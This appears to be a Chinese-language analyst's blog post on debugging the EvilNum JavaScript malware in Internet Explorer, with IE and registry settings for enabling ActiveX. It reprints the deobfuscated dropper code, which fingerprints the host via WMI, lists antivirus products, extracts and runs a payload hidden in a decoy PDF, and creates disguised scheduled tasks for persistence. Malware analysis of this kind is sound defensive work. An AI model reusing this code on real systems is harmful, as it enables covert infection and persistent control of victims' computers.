Win7+ IE8

调试的HTML代码

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>建瓯最坏JavaScript脚本调试</title>
  6. </head>
  8. <body>
  10. <script>
  11. document.write("<h1>🐷🐷🐷</h1>");
  13. var WScript = new ActiveXObject("WScript.Shell");
  15. //先尝试看看能不能成功调用“ActiveXObject”创建对象
  16. try
  17. {
  18.     var objADODBStream = new ActiveXObject("ADODB.Stream");
  19. }
  20. catch(errADODB)
  21. {
  22.     document.write("尝试通过“ActiveXObject”创建流对象发生异常<br>");
  23.     document.write("错误名称: " + errADODB.name + "<br>");
  24.     document.write("错误信息: " + errADODB.message + "<br>");
  25. }
  27. function gVerFuncHandler()
  28. {
  29.     document.write("gVerFuncHandler<br>");
  30.     //"winmgmts:\\.\root\cimv2"
  31.     var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
  32.     //var wmi = GetObject(on);
  33.     //"SELECT Version FROM Win32_OperatingSystem"
  34.     var qs = getStrFunc("KTAULgtmWiM9GTtbFRt4LRp9N1UPAiYBSCoXGy1AGwExBS9hAwYsDiV6dVhrSDI=");
  35.     var items = wmi.ExecQuery(qs, "WQL", 0x30);
  36.     var eit = new Enumerator(items);
  37.     var wv = "";
  38.     for (; !eit.atEnd(); eit.moveNext())
  39.     {
  40.         var it = eit.item();
  41.         wv = it.Version;
  42.         break;
  43.     }
  44.     if (!wv)
  45.     {
  46.         return "";
  47.     }
  48.     //把字符串作为URI组件进行编码。该方法不会对ASCII的字母、数字和标点符号进行编码
  49.     return encodeURIComponent(Func6E(wv));
  50. }
  52. function getRI_Func(min, max)
  53. {
  54.     document.write("getRI_Func<br>");
  55.     return (Math.floor(Math.random() * (max + 1 - min)) + min);
  56. }
  58. function FuncXS(s)
  59. {
  60.     document.write("FuncXS<br>");
  61.     var es = "";
  62.     var k = getK_Handler();
  64.     for (var i=0 ; i<s.length ; ++i)
  65.     {
  66.         var sc = s.charCodeAt(i);
  67.         var kc = k.charCodeAt(i % k.length);
  68.         var xc = String.fromCharCode(sc ^ kc);
  69.         es += xc;
  70.     }
  71.     return encodeURIComponent(Func6E(k+es));
  72. }
  74. function gSID_Handler()
  75. {
  76.     document.write("gSID_Handler<br>");
  77.     //"winmgmts:\\.\root\cimv2"
  78.     var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
  79.     //var wmi = GetObject(on);
  80.     //"SELECT UUID FROM Win32_ComputerSystemProduct"
  81.     var qs = getStrFunc("CTInMHsteiI+PHxZHCUkOBguMxlYR2c6NRobAEwcKCQSBkwcNycZGlwMOQNad2t1OHk=");
  82.     var items = wmi.ExecQuery(qs, "WQL", 0x30);
  83.     var eit = new Enumerator(items);
  84.     var sid = "";
  86.     for (; !eit.atEnd(); eit.moveNext())
  87.     {
  88.         var it = eit.item();
  89.         sid = it.UUID;
  90.         break;
  91.     }
  93.     if (!sid)
  94.     {
  95.         return "";
  96.     }
  98.     var i=0;
  99.     var sidLen = sid.length;
  100.     var sui = "";
  101.     while ((i + 1) < sidLen)
  102.     {
  103.         var s = (parseInt(sid.substring(i, i+2), 16) ^ 0x42).toString(16).toUpperCase();
  104.         if (s.length < 2)
  105.         {
  106.             s = "0" + s;
  107.         }
  109.         sui += s;
  110.         i += 2;
  111.         if (i == sidLen)
  112.         {
  113.             break;
  114.         }
  116.         if (sid.charAt(i) == "-")
  117.         {
  118.             ++i;
  119.             sui += "-"
  120.         }
  121.     }
  122.     return encodeURIComponent(Func6E(sui));
  123. }
  125. //Read，读取某文件
  126. function FuncRd(pt)
  127. {
  128.     document.write("FuncRd<br>");
  129.     //读取参数（文件路径）以ISO-8859-1编码的流对象返回
  130.     var ft = new ActiveXObject("ADODB.Stream");
  131.     ft.Type = 2;
  132.     ft.CharSet = "iso-8859-1";
  133.     ft.Open();
  134.     ft.LoadFromFile(pt);
  136.     var ct = ft.ReadText(-1);
  137.     ft.Close();
  138.     ft = null;
  139.     return ct;
  140. }
  142. function getStrFunc(bes)
  143. {
  144.     document.write("getStrFunc<br>");
  145.     var es = Func6D(bes);
  146.     var esl = es.length;
  147.     var k = es.substring(esl-6);
  148.     var s = es.substring(0, esl-6);
  149.     var ds = "";
  151.     for (var i=0 ; i<s.length ; ++i)
  152.     {
  153.         var sc = s.charCodeAt(i);
  154.         var kc = k.charCodeAt(i % k.length);
  155.         //转成ASCII码后异或解密
  156.         var xc = String.fromCharCode(sc ^ kc);
  157.         ds += xc;
  158.     }
  159.     return ds;
  160. }
  162. //Base64Encode
  163. function Func6E(data)
  164. {
  165.     document.write("Func6E<br>");
  166.     var os = new ActiveXObject("ADODB.Stream");
  167.     os.Type = 2;
  168.     os.CharSet = "us-ascii";
  169.     os.Open();
  170.     os.WriteText(data);
  171.     os.Position = 0;
  172.     os.type = 1;
  173.     var output = os.Read;
  174.     os.Close();
  176.     var xmlObj = new ActiveXObject("MSXML.DOMDocument");
  177.     var de = xmlObj.createElement("Base64Data");
  178.     de.dataType = "bin.base64";
  179.     de.nodeTypedValue = output;
  180.     return de.text;
  181. }
  183. //文件存在判断和文件操作
  184. function InitFunc()
  185. {
  186.     document.write("InitFunc<br>");
  187.     try
  188.     {
  189.         if (var1.FolderExists(mwd))
  190.         {
  191.             var1.DeleteFolder(mwd, true);
  192.         }
  193.     }
  194.     catch(errFolderExists)
  195.     {
  196.         document.write("位置：FolderExists<br>");
  197.         document.write("错误名称: " + errFolderExists.name + "<br>");
  198.         document.write("错误信息: " + errFolderExists.message + "<br>");
  199.     }
  201.     try
  202.     {
  203.         pDirHandler(uwd);
  204.         if (!var1.FolderExists(uwd))
  205.         {
  206.             var1.CreateFolder(uwd);
  207.         }
  208.     }
  209.     catch(errpDirHandler)
  210.     {
  211.         document.write("位置：DirHandler<br>");
  212.         document.write("错误名称: " + errpDirHandler.name + "<br>");
  213.         document.write("错误信息: " + errpDirHandler.message + "<br>");
  214.     }
  216.     try
  217.     {
  218.         var1.CreateFolder(mwd);
  219.     }
  220.     catch(errCreateFolder)
  221.     {
  222.         document.write("位置：CreateFolder<br>");
  223.         document.write("错误名称: " + errCreateFolder.name + "<br>");
  224.         document.write("错误信息: " + errCreateFolder.message + "<br>");
  225.     }
  227.     var ic = false;
  228.     while (!ic)
  229.     {
  230.         try
  231.         {
  232.             var1.CopyFile(WScript.ScriptFullName, wtp);
  233.             ic = true;
  234.         }
  235.         catch(errIC)
  236.         {
  237.             document.write("位置：IC<br>");
  238.             document.write("错误名称: " + errIC.name + "<br>");
  239.             document.write("错误信息: " + errIC.message + "<br>");
  240.         }
  241.     }
  242. }
  244. function gvlFunc()
  245. {
  246.     document.write("gvlFunc<br>");
  247.     var as = "";
  248.     try
  249.     {
  250.         "winmgmts:\\.\root\SecurityCenter"
  251.         var on = getStrFunc("RFBfGQQIR0oLKD9Lb0teGxc5YFxSAREMR0ByEQ0RVkszOTF0Y2U=");
  252.         //"AntiVirusProduct"
  253.         var wif = getStrFunc("LVcFBR06HkwCPDk8CEwSGGw5cWxLUw==");
  254.         var wmi = GetObject(on);
  255.         var e = new Enumerator(wmi.InstancesOf(wif));
  256.         for(; !e.atEnd(); e.moveNext())
  257.         {
  258.             var s = e.item();
  259.             var n = s.displayName.toLowerCase();
  260.             glas.push(n);
  261.             as += n + "|";
  262.         }
  264.         on = getStrFunc("Tj9dBj00TSUJNwZ3ZSRcBC4FajNQHigwTS9wDjQtXCQBOVYza1pZ");
  265.         wmi = GetObject(on);
  266.         e = new Enumerator(wmi.InstancesOf(wif));
  268.         for(; !e.atEnd(); e.moveNext())
  269.         {
  270.             var s = e.item();
  271.             var n = s.displayName.toLowerCase();
  272.             if (iTS(glas, n))
  273.             {
  274.                 continue;
  275.             }
  277.             glas.push(n);
  278.             as += n + "|";
  279.         }
  280.         as = as.substring(0, as.length-1);
  281.     }
  282.     catch(errgvlFunc)
  283.     {
  284.         document.write("位置：gvlFunc<br>");
  285.         document.write("错误名称: " + errgvlFunc.name + "<br>");
  286.         document.write("错误信息: " + errgvlFunc.message + "<br>");
  287.     }
  288.     return as;
  289. }
  291. //写文件
  292. function FuncWrt(pt, ct)
  293. {
  294.     document.write("FuncWrt<br>");
  295.     var ft = new ActiveXObject("ADODB.Stream");
  296.     ft.Type = 2;
  297.     ft.CharSet = "iso-8859-1";
  298.     ft.Open();
  299.     ft.WriteText(ct);
  300.     ft.SaveToFile(pt, 2);
  301.     ft.Close();
  302.     ft = null;
  303. }
  305. //Time2String？返回时间字符串
  306. function tTOs(d)
  307. {
  308.     document.write("tTOs<br>");
  309.     var day = d.getDate().toString();
  310.     var year = d.getFullYear().toString();
  311.     var month = (d.getMonth() + 1).toString();
  312.     var hour = d.getHours().toString();
  313.     var mins = d.getMinutes().toString();
  314.     var secs = d.getSeconds().toString();
  316.     if (day.length < 2)
  317.     {
  318.         day = "0" + day;
  319.     }
  321.     if (month.length < 2)
  322.     {
  323.         month = "0" + month;
  324.     }
  326.     if (hour.length < 2)
  327.     {
  328.         hour = "0" + hour;
  329.     }
  331.     if (mins.length < 2)
  332.     {
  333.         mins = "0" + mins;
  334.     }
  336.     if (secs.length < 2)
  337.     {
  338.         secs = "0" + secs;
  339.     }
  341.     return (year + "-" + month + "-" + day + "T" + hour + ":" + mins + ":" + secs);
  342. }
  344. function TC2_Handler(uid, cd, iv)
  345. {
  346.     document.write("TC2_Handler<br>");
  347.     /*
  348.     if (glas.length > 0)
  349.     {
  350.     */
  351.         var sd = new Date(cd.getTime()+(1000*60*6));
  352.         var wd = uwd2;
  353.         ep = tsp2;
  354.         var ar = "\"" + uid + "\" -f -t";
  355.         //"Recommended Troubleshooting Scan"
  356.         var tn = getStrFunc("Zyk7XjcnUCI8VD5qYT43RDgmUD8wXjU+XCI/EQkpVCI1TFgxWko=");
  357.         Sct_Handler(ar, ep, wd, sd, iv, tn);
  358.     /*}*/
  359. }
  361. try
  362. {
  363.     document.write("入口处<br>");
  364.     var var1 = new ActiveXObject("Scripting.FileSystemObject");
  365.     var var2 = new ActiveXObject("WScript.Shell");
  366.     var tph = var2.ExpandEnvironmentStrings("%TMP%");
  367.     var lp = tph + "\\" + getStrFunc("MyoAdRF6PyEEE3tnSlR6MS0xVgk6KnhlVEFJVw==");
  368.     var en = getStrFunc("BgcGD3QUEwNrZm9hWnE=");
  369.     var adp = var2.ExpandEnvironmentStrings("%localappdata%");
  370.     var mep = getStrFunc("OQRRBDMLFiZeEx0iACxcFB02Nhp+AiQAFmVJOGdBZA==");
  371.     var uwd = adp + mep;
  372.     var mwd = uwd + getStrFunc("LmpEPXI4N05zNA==");
  373.     var wtf = getStrFunc("QCZGGjhhdBJxA0MaUyRGN0UyVXQ0");
  374.     var wtp = mwd + "\\" + wtf;
  375.     var uwd2 = "%localappdata%\\" + getStrFunc("dj4tEAYrGCsLJj8FSgkQPSAEZCYSGiAOXTQ3ID0PWQUNOig4aGRUT2o=");
  376.     var ep = uwd + "\\" + en;
  377.     var tsp = "%localappdata%" + mep + "\\" + en;
  378.     //"%localappdata%\NVIDIA Corporation\NvNode\Streaming"
  379.     var ep2 = uwd + "\\" + getStrFunc("BCI/Hl40CCJwR0xqcFE=");
  380.     //"%localappdata%\NVIDIA Corporation\NvNode\Streaming\nvsphelper32.exe"
  381.     var tsp2 = uwd2 + "\\" + getStrFunc("Pz0rFz0wPTs9FWZnfy4gAlFLWGdVVQ==");
  382.     var glas = [];
  383.     var ut = 2;
  384.     var zd = "9348556E";
  385.     var fnd = getStrFunc("KyEPB3xkeHwsYxomIjRPRHkxNFI=");
  386.     //直接到解密完下断再看局部变量的值
  387.     //自身为“wctOLUCWCV7.dat”的逻辑
  388.     /*
  389.     if (WScript.ScriptFullName == wtp)
  390.     {
  391.         WScript.Sleep(getRI_Func(30000, 40000));
  392.         try
  393.         {
  394.             if (var1.FolderExists(mwd))
  395.             {
  396.                 var1.DeleteFolder(mwd, true);
  397.             }
  398.         }
  399.         catch(errScriptFullName)
  400.         {
  401.             document.write("位置：ScriptFullName<br>");
  402.             document.write("错误名称: " + errScriptFullName.name + "<br>");
  403.             document.write("错误信息: " + errScriptFullName.message + "<br>");
  404.         }
  406.         WScript.Sleep(getRI_Func(30000, 40000));*/
  407.         StartFunc();
  408.         clFunc();
  409.     /*}
  410.     else
  411.     {    //首次运行逻辑
  412.         pswFunc(var2.CurrentDirectory);
  413.         InitFunc();
  414.         var1.DeleteFile(WScript.ScriptFullName);
  415.         var a = getStrFunc("ChYaBloZHUVbWxwsUy8qF0EAGRFbaWV5dDNp");
  416.         var s = a + " \"" + wtp + "\"";
  417.         var2.Run(s, 0, 0);
  418.     }*/
  419. }
  420. catch(errTRY)
  421. {
  422.     document.write("位置：TRY<br>");
  423.     document.write("错误名称: " + errTRY.name + "<br>");
  424.     document.write("错误信息: " + errTRY.message + "<br>");
  425. }
  427. //WScript.Quit();
  429. function getGlobalsEnv()
  430. {
  431.     document.write("getGlobalsEnv<br>");
  432.     //ComputerName
  433.     var ud = var2.ExpandEnvironmentStrings(getStrFunc("azkeMSAuASEMPTxPTmxNdHJq"));
  434.     //UserName
  435.     var un = var2.ExpandEnvironmentStrings(getStrFunc("QS0RLQgkJTUHTWR4Qmhaag=="));
  436.     //再通过“FuncXS”编码
  437.     return FuncXS(ud + "\\" + un);
  438. }
  440. function Func_TC_GV(uid, cd, eav, ewv, edn)
  441. {
  442.     document.write("Func_TC_GV<br>");
  443.     /*
  444.     if (!testFunc1())
  445.     {
  446.         return;
  447.     }
  448.     */
  449.     var tsl = [["Slg6JwwiDkQlIAw6DhEJACgCI2gRIQEiIls3LQErLFs7KggtG2gRMQA+HGgBIQ4mO1s6KAYnGxowPAhvNFVEbU4=", "Rl8GJlQtAkMZIVQ1AhY1AXANL28tIFktLlwLLFkkIFwHK1AiF28tMFgxEGMzaUU1QQ==", "aRheHQkxTRN1CAoqVwNFBAMtahNfDjlqMW1sQw==", "ZwNzBTdXRU1zdw=="], ["RlVBJVZYF1UUCX9YBlgRHV1LGWh5LXYZK1FJdXddCkBeJ251DFNCCVxPAkRYIBxcG1FjNDFVMjk=", "FVZJJ10ZRFYcC3QZVVsZH1YKSmtxL31YeFJBd3wcWUNWJWU0X1BKMDc5Vzl4", "NBlRHzMzCx8ZPjIgFRteZ3o5eldG", "EzFRMENlZHh0eA=="]];
  450.     for (var i=0 ; i<tsl.length ; ++i)
  451.     {
  452.         //td是4个元素（加密字符串构成的）的数组
  453.         var td = tsl[i];
  454.         //"%localappdata%\DELL\DellMobileConnect\Dumps\TechToolkit.exe"
  455.         var epp = getStrFunc(td[0]);
  456.         //"%localappdata%\DELL\DellMobileConnect\Dumps"
  457.         var wd = getStrFunc(td[1]);
  458.         //"PropertyDefinitionSync"
  459.         var tn = getStrFunc(td[2]);
  460.         //"PT6H"
  461.         var iv = getStrFunc(td[3]);
  463.         var m = getRI_Func(1000*60*60*24, 1000*60*60*168);
  464.         var sd = new Date(cd.getTime()+m);
  465.         //""StringUID" "dev6H678UR.tmp" "NDI4OTE3dVxMUGdeRkdLaUNYUEdbTQ%3D%3D" "WindowsVersion" 0 "9348556E" "OTM5MzYxenx0Y2NlfGF3cnt0ZXJdXl9fUEBNQVdFVkE%3D" 2"
  466.         var ar = "\"" + uid + "\" \"" + fnd + "\" \"" +
  467.         eav + "\" \"" + ewv + "\" 0 \"" + zd + "\" \"" + edn + "\" " + ut.toString();
  468.         Sct_Handler(ar, epp, wd, sd, iv, tn);
  469.         //"%appdata%\Mael Horz\HxD Hex Editor\Logs\nvapiu.exe"+"%appdata%\Mael Horz\HxD Hex Editor\Logs"+"Schedule Defrag"+"PT5H"
  470.     }
  471. }
  473. //Base64Decode，Base64解码
  474. function Func6D(data)
  475. {
  476.     document.write("Func6D<br>");
  478.     //无法通过“WScript.CreateObject”创建对象
  479.     //懒得找原因了，用“ActiveXObject”替代“WScript.CreateObject”
  480.     //var xmlObj = WScript.CreateObject("MSXML.DOMDocument");
  481.     var xmlObj = new ActiveXObject("MSXML.DOMDocument");
  483.     var de = xmlObj.createElement("Base64Data");
  484.     de.dataType = "bin.base64";
  485.     de.text = data;
  487.     //返回US-ASCII编码
  488.     var os = new ActiveXObject("ADODB.Stream");
  489.     os.Type = 1;
  490.     os.Open();
  491.     os.Write(de.nodeTypedValue);
  492.     os.Position = 0;
  493.     os.type = 2;
  494.     os.CharSet = "us-ascii";
  495.     var output = os.ReadText;
  496.     os.Close();
  497.     return output
  498. }
  500. function pDirHandler(p)
  501. {
  502.     document.write("pDirHandler<br>");
  503.     var pf = var1.GetParentFolderName(p);
  504.     try
  505.     {
  506.         if (var1.FolderExists(pf)) {
  507.             return;
  508.         }
  509.         var1.CreateFolder(pf);
  510.     }
  511.     catch(errpDirHandler)
  512.     {
  513.         document.write("位置：pDirHandler<br>");
  514.         document.write("错误名称: " + errpDirHandler.name + "<br>");
  515.         document.write("错误信息: " + errpDirHandler.message + "<br>");
  516.     }
  517. }
  519. //计划任务
  520. function Sct_Handler(ar, ep, wd, sd, iv, tn)
  521. {
  522.     document.write("函数Sct_Handler：创建计划任务<br>");
  523.     try
  524.     {
  525.         var ts = new ActiveXObject("Schedule.Service");
  526.         ts.Connect();
  527.         var rf = ts.GetFolder("\\");
  528.         var tf = ts.NewTask(0);
  529.         var ri = tf.RegistrationInfo;
  530.         ri.Description = "";
  531.         ri.Author = "";
  532.         var tst = tf.Settings;
  533.         tst.Enabled = true;
  534.         tst.StartWhenAvailable = true;
  535.         tst.Hidden = false;
  536.         tst.DisallowStartIfOnBatteries = false;
  537.         tst.StopIfGoingOnBatteries = false;
  538.         tst.AllowHardTerminate = false;
  539.         tst.ExecutionTimeLimit = "PT0S";
  540.         var ids = tst.IdleSettings;
  541.         ids.RestartOnIdle = false;
  542.         ids.StopOnIdleEnd = false;
  543.         var tt = tf.Triggers;
  544.         var tr = tt.Create(1);
  545.         tr.StartBoundary = tTOs(sd);
  546.         tr.Enabled = true;
  547.         tr.Repetition.Interval = iv;
  548.         var ta = tf.Actions.Create(0);
  549.         ta.Path = ep;
  550.         ta.Arguments = ar;
  551.         ta.WorkingDirectory = wd;
  552.         //"RegisterTaskDefinition"
  553.         rf[getStrFunc("KjMhLiUlHSQSJiU6PDMgLjg4DD8pKXhWRkdWUQ==")](tn, tf, 2, "","", 3);
  554.         return true;
  555.     }
  556.     catch(errSct_Handler)
  557.     {
  558.         document.write("位置：Sct_Handler<br>");
  559.         document.write("错误名称: " + errSct_Handler.name + "<br>");
  560.         document.write("错误信息: " + errSct_Handler.message + "<br>");
  561.     }
  562.     return false;
  563. }
  565. //Clear，删除指定文件
  566. function clFunc()
  567. {
  568.     document.write("clFunc<br>");
  569.     try
  570.     {
  571.         var sf = var1.GetFile(lp);
  572.         sf.attributes = 128;
  573.         var1.DeleteFile(lp);
  574.     }
  575.     catch(errclFunc)
  576.     {
  577.         document.write("位置：clFunc<br>");
  578.         document.write("错误名称: " + errclFunc.name + "<br>");
  579.         document.write("错误信息: " + errclFunc.message + "<br>");
  580.     }
  581. }
  583. function pswFunc(cd)
  584. {
  585.     document.write("pswFunc<br>");
  586.     try
  587.     {
  588.         var fd = FuncRd(lp);
  589.         cd = cd.toLowerCase();
  590.         if
  591.         (
  592.             cd.substring(0, 4) == getStrFunc("DWlkRm5TODFxdA==") &&
  593.             cd.substring(cd.length-3) == getStrFunc("AFx2bW9Eb1By")
  594.         )
  595.         {
  596.             var2.CurrentDirectory = tph;
  597.         }
  598.         var so = 3449;
  599.         var ln = 30793;
  600.         var eo = so+ln;
  601.         var t = fd.slice(so, eo);
  602.         var n = getStrFunc("LSM1cj9IISgxFFVVVF1PNgMDZmxhRmdl");
  603.         FuncWrt(n, FXD_Func(t, true));
  604.         WScript.Sleep(200);
  605.         var2.Run("\"" + n + "\"", 1, 0);
  606.     }
  607.     catch(errpswFunc)
  608.     {
  609.         document.write("位置：pswFunc<br>");
  610.         document.write("错误名称: " + errpswFunc.name + "<br>");
  611.         document.write("错误信息: " + errpswFunc.message + "<br>");
  612.     }
  613. }
  615. function getK_Handler()
  616. {
  617.     document.write("getK_Handler<br>");
  618.     var s = "";
  619.     var l = 6;
  620.     var d = "123456789";
  621.     for (var i=0 ; i<l ; ++i)
  622.     {
  623.         s += d.charAt(Math.floor(d.length * Math.random()));
  624.     }
  625.     return s;
  626. }
  628. function FXD_Func(data, rep)
  629. {
  630.     document.write("FXD_Func<br>");
  631.     var tb =
  632.     {
  633.         8364: 128,
  634.         8218: 130,
  635.         402: 131,
  636.         8222: 132,
  637.         8230: 133,
  638.         8224: 134,
  639.         8225: 135,
  640.         710: 136,
  641.         8240: 137,
  642.         352: 138,
  643.         8249: 139,
  644.         338: 140,
  645.         381: 142,
  646.         8216: 145,
  647.         8217: 146,
  648.         8220: 147,
  649.         8221: 148,
  650.         8226: 149,
  651.         8211: 150,
  652.         8212: 151,
  653.         732: 152,
  654.         8482: 153,
  655.         353: 154,
  656.         8250: 155,
  657.         339: 156,
  658.         382: 158,
  659.         376: 159
  660.     };
  662.     var l = data.charCodeAt(0);
  663.     var k = data.slice(1, 1+l);
  664.     var d = data.slice(1+l+4);
  666.     var kb = [];
  667.     for (var i=0 ; i<k.length ; ++i)
  668.     {
  669.         var kc = k.charCodeAt(i);
  670.         if (tb[kc])
  671.         {
  672.             kc = tb[kc];
  673.         }
  674.         kb.push(kc);
  675.     }
  677.     var nd = "";
  678.     var ldc = 0;
  680.     for (var i=0, j=0 ; i<d.length ; ++i, ++j)
  681.     {
  682.         var kc = kb[j % kb.length];
  683.         var dc = d.charCodeAt(i);
  684.         if (tb[dc])
  685.         {
  686.             dc = tb[dc];
  687.         }
  689.         if (rep)
  690.         {
  691.             if (ldc == 60 && dc == 0xff)
  692.             {
  693.                 if (i+3<d.length)
  694.                 {
  695.                     var d1 = d.charCodeAt(i+1);
  696.                     var d2 = d.charCodeAt(i+2);
  697.                     var d3 = d.charCodeAt(i+3);
  699.                     if (d1 == dc && d2 == dc && d3 == dc)
  700.                     {
  701.                         dc = 37;
  702.                         i += 3;
  703.                     }
  704.                 }
  705.             }
  706.         }
  708.         nd += String.fromCharCode(dc ^ kc);
  709.         ldc = dc;
  710.     }
  711.     return nd;
  712. }
  714. function StartFunc()
  715. {
  716.     document.write("StartFunc<br>");
  717.     try
  718.     {
  719.         //保证有lp（%TEMP%\KOT4X-GDPR2021.pdf）存在
  720.         /*
  721.         var fd = FuncRd(lp);
  722.         var l = 522397;
  723.         var eo = fd.length;
  724.         var so = eo-l;
  725.         var q = fd.slice(so, eo);
  726.         FuncWrt(ep2, FXD_Func(q, false));
  727.         var1.CopyFile(ep2, ep);
  728.         var1.DeleteFile(ep2);
  729.         */
  731.         //var uid = gSID_Handler();
  732.         var uid = "StringUID";
  733.         var cd = new Date();
  734.         var sd = new Date(cd.getTime()+(1000*60));
  735.         var wd = uwd;
  736.         var epp = tsp;
  737.         //var eav = FuncXS(gvlFunc());
  738.         var eav = FuncXS("AntiVirusProduct");
  739.         //var ewv = gVerFuncHandler();
  740.         var ewv = "WindowsVersion";
  741.         var edn = getGlobalsEnv();
  742.         var ar = "-p\"AXkUJk\" -sp\"\"\"" + uid + "\"\" \"\"" + fnd + "\"\" \"\"" + eav + "\"\" \"\"" + ewv + "\"\" 0 \"\"" + zd + "\"\" \"\"" + edn + "\"\" " + ut.toString() + "\"";
  744.         var tn = getStrFunc("LSRRGiEBADBcFRUKASZaAykdBj9TBS8cAW9FMnFGcw==");
  745.         var iv = "PT3H";
  746.         Sct_Handler(ar, epp, wd, sd, iv, tn);
  747.         Func_TC_GV(uid, cd, eav, ewv, edn);
  748.         TC2_Handler(uid, cd, iv);
  749.     }
  750.     catch(errStartFunc)
  751.     {
  752.         document.write("位置：StartFunc<br>");
  753.         document.write("错误名称: " + errStartFunc.name + "<br>");
  754.         document.write("错误信息: " + errStartFunc.message + "<br>");
  755.     }
  756. }
  758. function testFunc1()
  759. {
  760.     document.write("testFunc1<br>");
  761.     try
  762.     {
  763.         /*
  764.         if (glas.length == 0)
  765.         {
  766.             return false
  767.         }
  768.         */
  770.         //"avast"
  771.         var s = getStrFunc("CDwZQx5pSngwalE=");
  772.         //"avg"
  773.         var g = getStrFunc("Ekc+czFZZWh4");
  775.         for (var i=0 ; i<glas.length ; ++i)
  776.         {
  777.             var a = glas[i];
  778.             if (a.indexOf(s) != -1 || a.indexOf(g) != -1)
  779.             {
  780.                 return true
  781.             }
  782.         }
  783.     }
  784.     catch(errptestFunc1)
  785.     {
  786.         document.write("位置：testFunc1<br>");
  787.         document.write("错误名称: " + errptestFunc1.name + "<br>");
  788.         document.write("错误信息: " + errptestFunc1.message + "<br>");
  789.     }
  790.     return false;
  791. }
  793. function iTS(arr, d)
  794. {
  795.     document.write("iTS<br>");
  796.     for (var j=0 ; j<arr.length ; ++j)
  797.     {
  798.         if (arr[j] == d)
  799.         {
  800.             return true;
  801.         }
  802.     }
  803.     return false;
  804. }
  806. document.write("<h1>鼓掌🥳<h1>");
  807. </script>
  809. <p>
  810. 👩‍💻脚本已结束👩‍💻
  811. </p>
  813. </body>
  814. </html>

错误

Automation服务器不能创建对象
Automation服务器不能创建对象 | EvilNum的JavaScript - 图1

IE设置💔💔💔

已经按照百度到的很多要求设置IE的Internet选项都不行：
Automation服务器不能创建对象 | EvilNum的JavaScript - 图2

注册表💜💜💜

最后在注册表中设置Internet Explorer\ActiveX Compatibility\{00000566-0000-0010-8000-00AA006D2EA4}\Compatibility Flags的值为0，即可：
Automation服务器不能创建对象 | EvilNum的JavaScript - 图3

CLSID

还有其他的问题的话，通过catch错误码查看错误类型，或者找到对应代码查看其错误的对象类型，修改注册表中对应CLSID的值。
CLSID

成功💫💫💫

允许阻止的内容

Automation服务器不能创建对象 | EvilNum的JavaScript - 图4

安全警告-是

Automation服务器不能创建对象 | EvilNum的JavaScript - 图5

允许ActiveX交互

Automation服务器不能创建对象 | EvilNum的JavaScript - 图6

F12进行调试

停止运行脚本

Automation服务器不能创建对象 | EvilNum的JavaScript - 图7

脚本窗口

F5：开始调试
F9：下断点
F10：逐过程调试
F11：逐语句调试
Automation服务器不能创建对象 | EvilNum的JavaScript - 图8
没运行起来看看是不是IE窗口（上面是调试窗口），有允许ActiveX交互弹框没确认，没有弹框就按一下F5：
Automation服务器不能创建对象 | EvilNum的JavaScript - 图9

调试状态

Automation服务器不能创建对象 | EvilNum的JavaScript - 图10